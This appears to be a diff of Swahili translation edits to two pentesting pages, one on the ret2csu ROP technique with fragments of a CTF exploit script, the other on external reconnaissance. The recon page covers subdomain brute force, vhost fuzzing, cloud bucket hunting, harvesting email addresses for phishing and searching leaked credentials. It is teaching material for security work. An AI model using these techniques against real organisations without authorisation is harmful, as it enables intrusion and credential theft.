@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
Njia nyingine ya kudhibiti **`rdi`** na **`rsi`** kutoka kwa gadget ya ret2csu ni kwa kufikia ofseti maalum:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Angalia ukurasa huu kwa maelezo zaidi:
|
||||
|
||||
|
@ -96,7 +96,7 @@ Fikiria unataka kufanya syscall au kuita kazi kama `write()` lakini unahitaji th
|
|||
|
||||
Hapa ndipo **ret2csu** inapoingia:
|
||||
|
||||
1. **Weka Register**: Tumia gadget ya kwanza ya kichawi kutoa thamani kutoka kwenye stack na kuingia rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
|
||||
1. **Weka Register**: Tumia gadget ya kwanza ya kichawi kupop values kutoka kwenye stack na kuingia rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), na r15.
|
||||
2. **Tumia Gadget ya Pili**: Ukiwa na register hizo zimewekwa, unatumia gadget ya pili. Hii inakuwezesha kuhamasisha thamani zako ulizochagua katika `rdx` na `rsi` (kutoka r14 na r13, mtawalia), ukitayarisha vigezo kwa wito wa kazi. Zaidi ya hayo, kwa kudhibiti `r15` na `rbx`, unaweza kufanya programu iite kazi iliyoko kwenye anwani unayoihesabu na kuweka katika `[r15 + rbx*8]`.
|
||||
|
||||
Una [**mfano wa kutumia mbinu hii na kuielezea hapa**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), na hii ndiyo exploit ya mwisho iliyotumika:
|
||||
|
@ -129,7 +129,7 @@ Kumbuka kwamba exploit iliyopita haikusudiwi kufanya **`RCE`**, inakusudia tu ku
|
|||
|
||||
### Kupita simu na kufikia ret
|
||||
|
||||
Exploit ifuatayo ilitolewa [**kutoka kwenye ukurasa huu**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) ambapo **ret2csu** inatumika lakini badala ya kutumia simu, in **kupita kulinganisha na kufikia `ret`** baada ya simu:
|
||||
Exploit ifuatayo ilitolewa [**kutoka kwenye ukurasa huu**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) ambapo **ret2csu** inatumika lakini badala ya kutumia simu, in **akipita kulinganisha na kufikia `ret`** baada ya simu:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
@ -179,9 +179,9 @@ payload += ret2win
|
|||
target.sendline(payload)
|
||||
target.interactive()
|
||||
```
|
||||
### Kwa Nini Usitumie libc Moja kwa Moja?
|
||||
### Kwa Nini Usitumie libc Moja Kwa Moja?
|
||||
|
||||
Kawaida kesi hizi pia zina udhaifu wa [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), lakini wakati mwingine unahitaji kudhibiti vigezo zaidi kuliko vile ambavyo vinaweza kudhibitiwa kwa urahisi na gadgets unazozipata moja kwa moja katika libc. Kwa mfano, kazi ya `write()` inahitaji vigezo vitatu, na **kupata gadgets za kuweka yote haya moja kwa moja huenda isiwezekane**.
|
||||
Kawaida kesi hizi pia zina udhaifu kwa [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), lakini wakati mwingine unahitaji kudhibiti vigezo zaidi kuliko vile ambavyo vinaweza kudhibitiwa kwa urahisi na gadgets unazozipata moja kwa moja katika libc. Kwa mfano, kazi ya `write()` inahitaji vigezo vitatu, na **kupata gadgets za kuweka yote haya moja kwa moja huenda isiwezekane**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -35,17 +35,17 @@ Lengo la awamu hii ni kupata **makampuni yanayomilikiwa na kampuni kuu** na kish
|
|||
### **Ununuzi**
|
||||
|
||||
Kwanza kabisa, tunahitaji kujua ni **makampuni gani mengine yanayomilikiwa na kampuni kuu**.\
|
||||
Chaguo moja ni kutembelea [https://www.crunchbase.com/](https://www.crunchbase.com), **tafuta** kampuni **kuu**, na **bonyeza** kwenye "**ununuzi**". Hapo utaona makampuni mengine yaliyonunuliwa na kampuni kuu.\
|
||||
Chaguo moja ni kutembelea [https://www.crunchbase.com/](https://www.crunchbase.com), **tafuta** kampuni **kuu**, na **bonyeza** kwenye "**ununuzi**". Huko utaona makampuni mengine yaliyonunuliwa na kampuni kuu.\
|
||||
Chaguo lingine ni kutembelea ukurasa wa **Wikipedia** wa kampuni kuu na kutafuta **ununuzi**.
|
||||
|
||||
> Sawa, katika hatua hii unapaswa kujua makampuni yote ndani ya upeo. Hebu tuone jinsi ya kupata mali zao.
|
||||
|
||||
### **ASNs**
|
||||
|
||||
Nambari ya mfumo huru (**ASN**) ni **nambari ya kipekee** iliyotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Nambari za Mtandao (IANA)**.\
|
||||
Nambari ya mfumo huru (**ASN**) ni **nambari ya kipekee** inayotolewa kwa **mfumo huru** (AS) na **Mamlaka ya Nambari za Mtandao (IANA)**.\
|
||||
**AS** inajumuisha **vizuizi** vya **anwani za IP** ambazo zina sera iliyofafanuliwa wazi kwa kufikia mitandao ya nje na zinatawaliwa na shirika moja lakini zinaweza kuwa na waendeshaji kadhaa.
|
||||
|
||||
Ni muhimu kujua ikiwa **kampuni ina ASN yoyote** ili kupata **anuwai zake za IP.** Itakuwa na manufaa kufanya **mtihani wa udhaifu** dhidi ya **michakato** yote ndani ya **upeo** na **kutafuta maeneo** ndani ya anuwai hizi za IP.\
|
||||
Ni ya kuvutia kugundua ikiwa **kampuni ina ASN yoyote** ili kupata **anuwai zake za IP.** Itakuwa ya kuvutia kufanya **mtihani wa udhaifu** dhidi ya **michakato** yote ndani ya **upeo** na **kutafuta maeneo** ndani ya anuwai hizi za IP.\
|
||||
Unaweza **kutafuta** kwa jina la kampuni, kwa **IP** au kwa **domain** katika [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Kulingana na eneo la kampuni, viungo hivi vinaweza kuwa na manufaa kukusanya data zaidi:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amerika Kaskazini),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Amerika ya Kusini),** [**RIPE NCC**](https://www.ripe.net) **(Ulaya). Hata hivyo, labda taarifa zote** muhimu **(anuwai za IP na Whois)** tayari zinaonekana katika kiungo cha kwanza.
|
||||
```bash
|
||||
|
@ -112,7 +112,7 @@ Unaweza kutumia zana za mtandaoni kama:
|
|||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Si Bure (tu **100 bure** utafutaji)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Si Bure
|
||||
|
||||
Unaweza kuendesha kazi hii kwa kutumia [**DomLink** ](https://github.com/vysecurity/DomLink)(inahitaji funguo ya API ya whoxy).\
|
||||
Unaweza kujiandaa kazi hii kwa kutumia [**DomLink** ](https://github.com/vysecurity/DomLink)(inahitaji funguo ya API ya whoxy).\
|
||||
Unaweza pia kutekeleza ugunduzi wa moja kwa moja wa reverse whois kwa kutumia [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Kumbuka kwamba unaweza kutumia mbinu hii kugundua majina zaidi ya kikoa kila wakati unapata kikoa kipya.**
|
||||
|
@ -132,14 +132,14 @@ Kuna kurasa na zana ambazo zinakuwezesha kutafuta kwa trackers hizi na zaidi:
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Je, unajua kwamba tunaweza kupata majina ya kikoa na sub domains zinazohusiana na lengo letu kwa kutafuta hash ya ikoni ya favicon sawa? Hii ndiyo hasa inayo fanywa na chombo [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) kilichotengenezwa na [@m4ll0k2](https://twitter.com/m4ll0k2). Hapa kuna jinsi ya kuitumia:
|
||||
Je, ulijua kwamba tunaweza kupata majina ya kikoa na sub domains zinazohusiana na lengo letu kwa kutafuta hash ya ikoni ya favicon sawa? Hii ndiyo hasa inayo fanywa na chombo [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) kilichotengenezwa na [@m4ll0k2](https://twitter.com/m4ll0k2). Hapa kuna jinsi ya kuitumia:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||

|
||||
|
||||
Kwa kifupi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
|
||||
Kwa maneno rahisi, favihash itaturuhusu kugundua maeneo ambayo yana hash sawa ya favicon icon kama lengo letu.
|
||||
|
||||
Zaidi ya hayo, unaweza pia kutafuta teknolojia ukitumia hash ya favicon kama ilivyoelezwa katika [**hiki kipande cha blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Hii inamaanisha kwamba ikiwa unajua **hash ya favicon ya toleo lenye udhaifu la teknolojia ya wavuti** unaweza kutafuta katika shodan na **kupata maeneo mengine yenye udhaifu**:
|
||||
```bash
|
||||
|
@ -178,7 +178,7 @@ You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.liv
|
|||
|
||||
### **Passive Takeover**
|
||||
|
||||
Kwa kweli ni kawaida kwa watu kupewa subdomains kwa IPs ambazo zinamilikiwa na watoa huduma wa cloud na kwa wakati fulani **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Hivyo, tu **kuanzisha VM** katika cloud (kama Digital Ocean) utakuwa kweli **ukichukua baadhi ya subdomains**.
|
||||
Kwa kweli ni kawaida kwa watu kupeana subdomains kwa IPs ambazo zinamilikiwa na watoa huduma wa cloud na kwa wakati fulani **kupoteza anwani hiyo ya IP lakini kusahau kuondoa rekodi ya DNS**. Hivyo, tu **kuanzisha VM** katika cloud (kama Digital Ocean) utakuwa kweli **ukichukua baadhi ya subdomains**.
|
||||
|
||||
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
|
||||
|
||||
|
@ -188,7 +188,7 @@ Kwa kweli ni kawaida kwa watu kupewa subdomains kwa IPs ambazo zinamilikiwa na w
|
|||
|
||||
**Shodan**
|
||||
|
||||
Kama unavyojua jina la shirika linalomiliki nafasi ya IP. Unaweza kutafuta kwa data hiyo katika shodan ukitumia: `org:"Tesla, Inc."` Angalia mwenyeji waliopatikana kwa majina mapya yasiyotarajiwa katika cheti cha TLS.
|
||||
Kama unavyojua jina la shirika linalomiliki nafasi ya IP. Unaweza kutafuta kwa data hiyo katika shodan ukitumia: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
|
||||
|
||||
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
|
@ -220,7 +220,7 @@ Note that some of the tools and techniques to find domains can also help to find
|
|||
|
||||
### **DNS**
|
||||
|
||||
Tujaribu kupata **subdomains** kutoka kwenye **DNS** records. Tunapaswa pia kujaribu kwa **Zone Transfer** (Ikiwa inahatarisha, unapaswa kuiripoti).
|
||||
Tujaribu kupata **subdomains** kutoka kwa **DNS** records. Tunapaswa pia kujaribu kwa **Zone Transfer** (Ikiwa inahatarisha, unapaswa kuiripoti).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -275,7 +275,7 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Kuna **zana/APIs nyingine za kuvutia** ambazo hata kama hazijabobea moja kwa moja katika kutafuta subdomains zinaweza kuwa na manufaa katika kutafuta subdomains, kama:
|
||||
Kuna **zana/APIs nyingine za kuvutia** ambazo hata kama hazijabobea moja kwa moja katika kutafuta subdomains zinaweza kuwa na manufaa katika kutafuta subdomains, kama vile:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Inatumia API [https://sonar.omnisint.io](https://sonar.omnisint.io) kupata subdomains
|
||||
```bash
|
||||
|
@ -307,7 +307,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** inapata URLs zinazojulikana kutoka kwa AlienVault's Open Threat Exchange, Wayback Machine, na Common Crawl kwa ajili ya kikoa chochote kilichotolewa.
|
||||
* [**gau**](https://github.com/lc/gau)**:** inapata URL zinazojulikana kutoka kwa AlienVault's Open Threat Exchange, Wayback Machine, na Common Crawl kwa ajili ya kikoa chochote kilichotolewa.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -340,13 +340,13 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) ina API ya bure kutafuta subdomains na historia ya IP
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kufikia data hii pia ukitumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kufikia upeo unaotumika na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Mradi huu unatoa **bure subdomains zote zinazohusiana na programu za bug-bounty**. Unaweza kufikia data hii pia kwa kutumia [chaospy](https://github.com/dr-0x0x/chaospy) au hata kufikia upeo uliofanywa na mradi huu [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Unaweza kupata **kulinganisha** ya zana nyingi hapa: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNS Brute force**
|
||||
|
||||
Hebu jaribu kutafuta **subdomains** mpya kwa kuburuza seva za DNS kwa kutumia majina ya subdomain yanayowezekana.
|
||||
Hebu jaribu kutafuta **subdomains** mpya kwa kuburuza DNS servers kwa kutumia majina ya subdomain yanayowezekana.
|
||||
|
||||
Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains za kawaida kama**:
|
||||
|
||||
|
@ -356,7 +356,7 @@ Kwa hatua hii utahitaji baadhi ya **orodha za maneno ya subdomains za kawaida ka
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
Na pia IP za wasuluhishi wa DNS wazuri. Ili kuunda orodha ya wasuluhishi wa DNS wanaotegemewa unaweza kupakua wasuluhishi kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuwasafisha. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
Na pia IP za waamuzi wazuri wa DNS. Ili kuunda orodha ya waamuzi wa DNS wanaotegemewa unaweza kupakua waamuzi kutoka [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) na kutumia [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kuwasafisha. Au unaweza kutumia: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Zana zinazopendekezwa zaidi kwa DNS brute-force ni:
|
||||
|
||||
|
@ -378,7 +378,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
|||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) inatumia asyncio kufanya brute force majina ya domain kwa njia ya asynchronous.
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) inatumia asyncio kufanya brute force majina ya domain kwa njia isiyo ya kawaida.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
|
@ -395,7 +395,7 @@ cat subdomains.txt | dnsgen -
|
|||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Imepewa majina ya domain na subdomain, inazalisha permutations. Ikiwa faili ya permutations haijaanishwa, gotator itatumia faili yake mwenyewe.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Imepewa majina ya domain na subdomain, inazalisha permutations. Ikiwa faili la permutations halijaanzishwa, gotator itatumia faili lake mwenyewe.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
@ -410,9 +410,9 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
|||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Kulingana na kikoa, in **zalisha majina mapya ya subdomain** yanayoweza kutokea kulingana na mifumo iliyoonyeshwa ili kujaribu kugundua subdomain zaidi.
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Kulingana na kikoa, in **zalisha majina mapya ya subdomain** kulingana na mifumo iliyoonyeshwa ili kujaribu kugundua subdomain zaidi.
|
||||
|
||||
#### Uzalishaji wa permutations smart
|
||||
#### Uzalishaji wa permutations za akili
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Kwa maelezo zaidi soma hii [**post**](https://cramppet.github.io/regulator/index.html) lakini kimsingi itapata **sehemu kuu** kutoka kwa **subdomain zilizogunduliwa** na itazichanganya ili kupata subdomain zaidi.
|
||||
```bash
|
||||
|
@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyo na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyoundwa maalum au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina zaidi yanayolingana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ni fuzzer ya brute-force ya subdomain iliyo na algorithm rahisi lakini yenye ufanisi inayotegemea majibu ya DNS. Inatumia seti ya data za ingizo zilizotolewa, kama vile orodha ya maneno iliyobinafsishwa au rekodi za kihistoria za DNS/TLS, ili kuunda kwa usahihi majina mengine yanayohusiana ya domain na kuyapanua zaidi katika mzunguko kulingana na taarifa zilizokusanywa wakati wa skana ya DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -442,7 +442,7 @@ Unaweza kupata baadhi ya **VHosts katika IPs kwa kutumia** [**HostHunter**](http
|
|||
|
||||
**Brute Force**
|
||||
|
||||
Ikiwa unashuku kwamba subdomain fulani inaweza kufichwa katika seva ya wavuti unaweza kujaribu kujaribu nguvu:
|
||||
Ikiwa unashuku kuwa subdomain fulani inaweza kufichwa katika seva ya wavuti unaweza kujaribu kujaribu nguvu:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -486,7 +486,7 @@ _Kumbuka kwamba wakati mwingine subdomain inahostiwa ndani ya IP ambayo haidhibi
|
|||
## IPs
|
||||
|
||||
Katika hatua za awali huenda umekuwa **ukipata baadhi ya anuwai za IP, majina ya domain na subdomains**.\
|
||||
Ni wakati wa **kusanya IP zote kutoka kwa anuwai hizo** na kwa **majina ya domain/subdomains (maswali ya DNS).**
|
||||
Ni wakati wa **kukusanya IP zote kutoka kwa anuwai hizo** na kwa **majina ya domain/subdomains (maswali ya DNS).**
|
||||
|
||||
Kwa kutumia huduma kutoka **apis za bure** zifuatazo unaweza pia kupata **IPs za awali zilizotumika na majina ya domain na subdomains**. IP hizi zinaweza bado kumilikiwa na mteja (na zinaweza kukuruhusu kupata [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
|
@ -502,9 +502,9 @@ Unaweza pia kuangalia majina ya domain yanayoelekeza kwenye anwani maalum ya IP
|
|||
|
||||
## Web servers hunting
|
||||
|
||||
> Tumepata kampuni zote na mali zao na tunajua anuwai za IP, majina ya domain na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
|
||||
> Tumegundua kampuni zote na mali zao na tunajua anuwai za IP, majina ya domain na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
|
||||
|
||||
Katika hatua za awali huenda tayari umekuwa ukifanya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **umepata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata sasa tunaenda kuona baadhi ya **hila za haraka za kutafuta seva za wavuti** ndani ya upeo.
|
||||
Katika hatua za awali huenda tayari umekuwa ukifanya baadhi ya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **ukipata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata sasa tunaenda kuona baadhi ya **hila za haraka za kutafuta seva za wavuti** ndani ya upeo.
|
||||
|
||||
Tafadhali, kumbuka kwamba hii itakuwa **imeelekezwa kwa ugunduzi wa programu za wavuti**, hivyo unapaswa **kufanya udhaifu** na **skani za bandari** pia (**ikiwa inaruhusiwa** na upeo).
|
||||
|
||||
|
@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
```
|
||||
### **Screenshots**
|
||||
|
||||
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domains** zote na **subdomains**) huenda **hujui wapi uanze**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua picha za skrini za zote. Kwa **kuangalia** tu kwenye **ukurasa mkuu** unaweza kupata **mipango** ya ajabu ambayo ina **uwezekano** mkubwa wa kuwa **na udhaifu**.
|
||||
Sasa kwamba umepata **seva zote za wavuti** zilizopo katika upeo (katika **IPs** za kampuni na **domains** zote na **subdomains**) huenda **hujui wapi pa kuanzia**. Hivyo, hebu iwe rahisi na tuanze kwa kuchukua picha za skrini za zote. Kwa kuangalia tu **ukurasa mkuu** unaweza kupata **mipango** ya ajabu ambayo ina **uwezekano** mkubwa wa kuwa **na udhaifu**.
|
||||
|
||||
Ili kutekeleza wazo lililopendekezwa unaweza kutumia [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) au [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
|
@ -526,7 +526,7 @@ Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeb
|
|||
|
||||
Ili kupata mali za wingu zinazoweza kuwa za kampuni unapaswa **kuanza na orodha ya maneno muhimu yanayofafanua kampuni hiyo**. Kwa mfano, kwa kampuni ya crypto unaweza kutumia maneno kama: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Utahitaji pia orodha za maneno za **maneno ya kawaida yanayotumika katika ndoo**:
|
||||
Utahitaji pia orodha za maneno ya **maneno ya kawaida yanayotumika katika makundi**:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
|
@ -536,15 +536,15 @@ Kisha, kwa maneno hayo unapaswa kuunda **mabadiliko** (angalia [**Second Round D
|
|||
|
||||
Kwa orodha za maneno zilizopatikana unaweza kutumia zana kama [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **au** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya ndoo tu katika AWS**.
|
||||
Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya makundi tu katika AWS**.
|
||||
|
||||
### **Kuangalia udhaifu**
|
||||
|
||||
Ikiwa unapata vitu kama **ndoo wazi au kazi za wingu zilizofichuliwa** unapaswa **kuziingilia** na kujaribu kuona kile wanachokupa na ikiwa unaweza kuzitumia vibaya.
|
||||
Ikiwa unapata vitu kama **makundi ya wazi au kazi za wingu zilizo wazi** unapaswa **kuziingilia** na kujaribu kuona kile zinatoa na ikiwa unaweza kuzitumia vibaya.
|
||||
|
||||
## Barua pepe
|
||||
|
||||
Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohitaji **kuanza kutafuta barua pepe**. Hizi ni **APIs** na **zana** ambazo zimefanya kazi bora zaidi kwangu kupata barua pepe za kampuni:
|
||||
Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohitaji **kuanza kutafuta barua pepe**. Hizi ni **APIs** na **zana** ambazo zimefanya kazi vizuri kwangu kupata barua pepe za kampuni:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - na APIs
|
||||
* API ya [**https://hunter.io/**](https://hunter.io/) (toleo la bure)
|
||||
|
@ -553,9 +553,9 @@ Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohita
|
|||
|
||||
### **Kuangalia udhaifu**
|
||||
|
||||
Barua pepe zitakuwa na manufaa baadaye kwa **kujaribu nguvu kuingia kwenye wavuti na huduma za uthibitishaji** (kama SSH). Pia, zinahitajika kwa **phishings**. Zaidi ya hayo, hizi APIs zitakupa hata zaidi **habari kuhusu mtu** nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
|
||||
Barua pepe zitakuwa na manufaa baadaye kwa **kujaribu kuingia kwenye wavuti na huduma za uthibitishaji** (kama SSH). Pia, zinahitajika kwa **phishings**. Zaidi ya hayo, hizi APIs zitakupa hata zaidi **habari kuhusu mtu** nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
|
||||
|
||||
## Mvuja wa Akida
|
||||
## Mvuvi wa Akida
|
||||
|
||||
Pamoja na **domains,** **subdomains**, na **barua pepe** unaweza kuanza kutafuta akida zilizovuja katika siku za nyuma zinazomilikiwa na barua pepe hizo:
|
||||
|
||||
|
@ -566,14 +566,14 @@ Pamoja na **domains,** **subdomains**, na **barua pepe** unaweza kuanza kutafuta
|
|||
|
||||
Ikiwa unapata **akida zilizovuja** halali, hii ni ushindi rahisi sana.
|
||||
|
||||
## Mvuja wa Siri
|
